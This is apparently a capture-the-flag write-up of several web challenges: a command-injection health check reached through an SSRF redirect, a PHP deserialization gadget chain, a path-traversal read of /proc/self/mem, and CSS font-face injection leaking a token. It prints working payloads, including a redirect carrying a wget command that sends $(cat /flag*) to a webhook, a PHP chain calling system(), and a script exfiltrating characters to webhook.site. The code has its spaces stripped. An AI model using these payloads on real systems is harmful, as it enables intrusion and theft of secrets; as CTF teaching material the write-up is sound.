@app.route('/health_check')defhealth_check():cmd=request.args.get('cmd')or'ping'health_check=f'echo \'db.runCommand("{cmd}").ok\' | mongosh mongodb:27017/app --quiet'try:result=subprocess.run(health_check,shell=True,capture_output=True,text=True,timeout=2)app.logger.info(result)return'Database is responding'if'1'inresult.stdoutelse'Database is not responding'exceptsubprocess.TimeoutExpired:return'Database is not responding'@app.route('/api/dogs')defget_dogs():app.logger.info(f"Requests Header : {request.headers}")dogs=[]fordoginapp_db['doxlist'].find():dogs.append({"name":dog['name'],"image":dog['image']})returnjsonify(dogs)
We have two routes, one for get data from db and one to call a command with subprocess.run.
Because it is running with : shell = True so we can use something like : cat /flag* to receive the flag and call to our web hooks.
Well it looks like server just call to the the “/api/dogs”… Im trying to figure out some way to ssrf this app and its too hard. So we have a hint from authors
So now , we just need to find a CVE which we can just check version of packages in our app.
Ye , there is only one unupdated is @nuxt/icon. Search on google and we will find this.
And we try to test this on our app.Now we can call to the route right ??? Nope, its seem impossible
Look at the implementation of url parse we can know the reason why.
Our url will be catched with the basename “/” and then i tried some bypass with “" and “%5C” but it is impossilbe so we need to find another way. Take a breathe, and we can control the place our server will redirect to right ?
So the idea is really simple !!! Make it redirect to our own app !!! And we can just redirect it back to its route ("/health_check”)
fromflaskimportFlask,request,redirectimportrequestsapp=Flask(__name__)@app.route('/')defhome():returnredirect("http://backend:5000/health_check?cmd=%22%29%27%3Bwget%20https%3A%2F%2Fwebhook.site%2F8e85705e-3468-4e1f-90b5-745c2a70b808%3Fq%3D%24%28cat%20%2Fflag%2A%29%20%3Becho%20%271%27%3B%23%20")if__name__=='__main__':app.run(debug=True)# This runs the app locally
Host this app up and we will receive the flag at our webhook !!
Im sorry for not showing the real flag because I dont know why i cannot access it anymore :<.
This challenge gives us 3 class and this is 100% a PHP deserialization challenge !! So we need to find some ways to chain these vulnerabilities.
I rearranged for easier explanation.
First class is Spaghetti use method __get($tomato) is a method get called when we get access into a undefined attribute of that class. And it will run the function at sauce
Second class is Pizza use method __destruct is a method get called when this class is destructed. Then it will call to the $size->what.
Final class IceCream use method __invoke is a method get called when get called like $ice();. It will loops and print the flavors array.
Look at the Pizza, it will access to an undefined variables what right? So if we set our $size is a object of Spaghetti which has __get($tomato) get called when access to undefined attribute ? We can chain these together then we can run the $sauce of Spaghetti.
What the $sauce should be ? It is clear is the IceCream !!! And it will run the __invoke and print its flavors !!!
This creates a Helpers Array which add a function when get looped with forEach. It will loop through the values in array and call a callback with argument is that value !!!! Which is so suitable to create our $flavours right ? Because the $flavours get looped too !!.
$pizza=newPizza();$spa=newSpaghetti();$ice=newIceCream();//Set the values is a malicous code
$arrayHel=newArrayHelpers(["cat /*.txt"]);// Set callback to system function to exec code
$arrayHel->callback="system";// Chain methods
$ice->flavors=$arrayHel;$spa->sauce=$ice;$pizza->size=$spa;echoserialize($pizza);echobase64_encode(serialize($pizza));
Test it on burp suite we get :
Hmmm it seems not get the ArrayHelpers instance because this class comes from another file. Just fix a little bit with :Run again and get the flag !!!!
classFileMetadata:def__init__(self,author,filename,description,id=None,):iflen(author)>50or \
len(filename)>50or \
len(description)>150:raiseStringTooLongException()self.creation_time=datetime.now(tz=timezone.utc)self.author=authorself.filename=filenameself.init=idinforbidden_idsbasedir="/company"ifself.initelse"/tmp"self.path=f"{basedir}/{filename}"self.description=descriptionself.id=str(UUID(id,version=4))ifidisnotNoneelsestr(uuid4())defwrite(self,collection,content):raiseValueError("Use of forbidden id")collection.insert_one(vars(self))if"./"inself.path:raisePathTraversalAttemptDetectedException()iflen(content)>200:raiseFileTooBigException()withopen(self.path,"w")asf:f.write(content)defread(self,offset,length):withopen(self.path,"rb")asf:f.seek(offset)returnf.read(length)
First it wil create a FileMeta with 2 main functions:
Write and Read
There are also some rules need to follow.
First it will check the id given and check if it is forbiddened or not. After that choose a basedir to store that file (’/tmp’ or ‘/company’). Finally initialize a uuid if no id given and check the format of id given.
Pay attention that read function using offset and length to read a file which looks too weird.
Well it looks too much information here. But left it and read at the server code .
First it will generate files with data from a pathname init/init_data.py and then delete those file.
And the flag is one of those get deleted.
{"metadata":{"author":"Shimmering Pearl","filename":"ocean_whispers.txt","description":"The eternal song of the waves.","id":"3dad5070-950c-48c5-bbb2-51312d4a8eab",},"content":FLAG,},
Then we have 2 routes handle for read file:
@app.get("/files")defget_files():return[f["metadata"]forfinfiles]@app.get("/files/<id>")defget_file(id):ifid=="3dad5070-950c-48c5-bbb2-51312d4a8eab":return"",403res=metadata.find_one({"id":{"$eq":id}})ifresisNone:return"",404m=FileMetadata(res["author"],res["filename"],res["description"],id=res["id"],)iffiles[-1]["metadata"]["filename"]inres["filename"]:return"",403######## read offset voi length chi v?????????????##############returnm.read(int(request.args.get("offset",0)),int(request.args.get("length",-1)))
We can read any files with the id but not the id of the flag as well as the file has the same name of the flag file.
Then is the route to handle uploading files :
defparse_file(body,id=None):importre,string##### VI SAO PHAI CHECK PRINTABLE #######CONTENT_CHECK=re.compile(f"[^ {string.printable}]")ifCONTENT_CHECK.search(body["content"]):raise()iflen(body["content"])>200:raiseValueError()return{"metadata":FileMetadata(body["author"],body["filename"],body["description"],id,),"content":body["content"]}@app.post("/files")defpost_file():body=request.jsontry:parsed_body=parse_file(body)except(KeyError,ValueError):return"",422m=parsed_body["metadata"]content=parsed_body["content"]m.write(metadata,content)r=make_response("",201)# KO CHECK PATH TRAVERSALr.headers["Location"]=f"/api/v1/files/{m.id}"returnr@app.put("/files/<id>")defput_file(id):ifidinforbidden_ids:return"",403body=request.jsontry:parsed_body=parse_file(body,id)except(KeyError,ValueError):return"",422m=parsed_body["metadata"]content=parsed_body["content"]m.write(metadata,content)r=make_response("",201)# KO CHECK PATH TRAVERSALr.headers["Location"]=f"/api/v1/files/{m.id}"returnr
First is the function parse_file which will receive the body data and id to use that and create a FileMeta Data.
Post and Put file function is just different that the Put you can handle id passed into parse_file which the Post doesn’t.
But it seems the PUT get checked the forbidden_ids too much. Specially 3 times :vv.
The first time, i have though about how can i abuse the id which seems a dead end but I want to talk about it a little bit. :v
My idea is simple that I want to create a file with the same id of flag file although I dont have idea why does it :v and as it takes me long time with no results.
And when test it , i found this : HEy , HEY it get changed at letter A into 4
After researching , I found that at that byte position used to specify the version in variant RFC 4122 UUID. So the implementation try to convert that bytes into the version number .
Maybe this can be used to bypass in some challenges :DDD
SO it seems id is not our playground anymore :v. What can happen here ?
After reading too long.. I feel like there is a flaw in the logic code
defwrite(self,collection,content):ifself.idinforbidden_idsandnotself.init:raiseValueError("Use of forbidden id")collection.insert_one(vars(self))## INSERT VAO LUON ROI =))))))if"./"inself.path:raisePathTraversalAttemptDetectedException()iflen(content)>200:raiseFileTooBigException()withopen(self.path,"w")asf:f.write(content)
It just check the id and then insert straight into the model =)))) So we dont actually care about the filename get checked by path traversal.
As well as the read just need a filename and nothing mores :vvv.
defread(self,offset,length):# Write duoc 1 filename co filename la path traversal -> lay id -> bo vao ham get -> READ EVERYTHINGwithopen(self.path,"rb")asf:f.seek(offset)returnf.read(length)
Well it seems the file is deleted by the python and not anymore. But it actually still lives in memory. And in linux to debug the memories we need to read at /proc/self/mem.
Because it is a virtual file , it means it is created at the time we read it so to read it we need an offset and length, now we know the reason of them in read function ~~
app.get('/api/update',auth,debug,csp,(req,res)=>{if(req.user.role==='admin'&&(req.ip==='::1'||req.ip==="127.0.0.1"||req.ip==="::ffff:127.0.0.1")){varusername=req.query.username;//Grantdeveloperroleconsole.log(username," is now a developer");users.get(username).role='developer';}else{returnres.status(403).send('Forbidden');}});//DeveloperZoneapp.get('/api/dev',auth,csp,debug,(req,res)=>{if(req.user.role==='developer'||req.user.role==='admin'){returnres.send('JWT_SECRET: '+JWT_SECRET);}else{returnres.status(403).send('Forbidden');}});
Well a users can get the SECRET_TOKEN with developer role is powered by the admin. But it actually just use the GET and we can abuse the function report to achive this goal.
app.post('/report',auth,apiLimiter,async(req,res)=>{varurl=req.body.url;if(!url){returnres.status(404).json({message:'Not found'});}if(!url.startsWith('http://localhost:1337/view/')){returnres.json({success:false,message:'Nice try kiddo!'});}console.log("visiting url: ",url);try{visit(url);}catch(error){console.log(error);}returnres.json({success:true,message:'Report sent successfully'});});
Here is poc :
Turn on debug with route /api/debug?debug_mode=1
Update role user with route /api/update?username=123
And stole it with with /api/dev(you will need to login again)
Maybe you will think about the report function and lead the page to a XSS page and get the cookies. But it is not the case in this challenge because the cookies are protected. So how we leak the SECURITY_TOKEN.
Read the source code you will see some malicous .
app.use((req,res,next)=>{// Should be safe right?
if(!req.theme){consttheme=req.query.theme;if(theme&&!theme.includes("<")&&!theme.includes(">")){req.theme=theme;}else{req.theme='white';}}next();})
It creates a middleware to pass our query theme and put it into a style tag
The safe makes it injectable. Let me show you an example.
So we have a CSS injection ? And you can pay attention that the SECURITY_TOKEN is actually showed in the user interface? Well when learning XSS i found this good blog and I can even leak the SECURITY_TOKEN now !!!
The leaks is working because of abusing the @font with loading an URL when matching a range of UNICODE which can just be a letter too ~~ !!
Idea is create many fonts from a-z0-9 which one will fetch to my Webhook with its char and position .
I have created a script to automate this.
importtimeimportrequestsimportrandomimportstringfromurllib.parseimportquotes=requests.Session()defgenerate_random_string(length):# Choose from uppercase, lowercase, and digitscharacters=string.ascii_letters+string.digitsrandom_string=''.join(random.choices(characters,k=length))returnrandom_stringbaseUrl=r"http://localhost:1337"data={"username":generate_random_string(4),"password":"123"}res=s.post(baseUrl+"/register",json=data)print(res.text)res=s.post(baseUrl+"/login",json=data)print(res.text)token=res.cookies.get('token')defchar_to_unicode(char):code_point=ord(char)returnf"{code_point:02X}"chars="abcdefghijklmnopqrstuvwxyz0123456789"print(chars)webhook="https://webhook.site/b7dd4def-ee30-4273-abbd-e7c070ed3d15"defloadFont(i):font=r""result=[f"f{char}"forcharinchars]result_string=r', '.join(result)forcharinchars:font+=r''' @font-face%20{%20font-family:%20"f'''+char+r'''";%20src:%20url(https://webhook.site/b7dd4def-ee30-4273-abbd-e7c070ed3d15/?q='''+char+str(i)+r''');%20unicode-range:%20U%2b'''+char_to_unicode(char)+''';%20}'''font+=r'''.SECURITY_TOKEN%20:nth-child('''+str(i)+r'''){color:red;font-family:'''+result_string+r''',Arial'''returnfontloadFont(1)defleak(i):data={"url":baseUrl+r'''/view/../profile?theme=white;:}'''+loadFont(i)}res=s.post(baseUrl+'/report',json=data,cookies={"token":token})print(res.text)foriinrange(2,22):leak(i)
FOUND local : ditmbzpvkkm7ow85qjz
FOUND server: b3zjagxhqzwarjzfjkj
Then just use JWT token and login as admin :DDD. Game end. <3 <3 <3
I want to say thank you to all the authors who spends time creating such a great challenge. I learned a lots from these and its good chance to try my self to the best !!!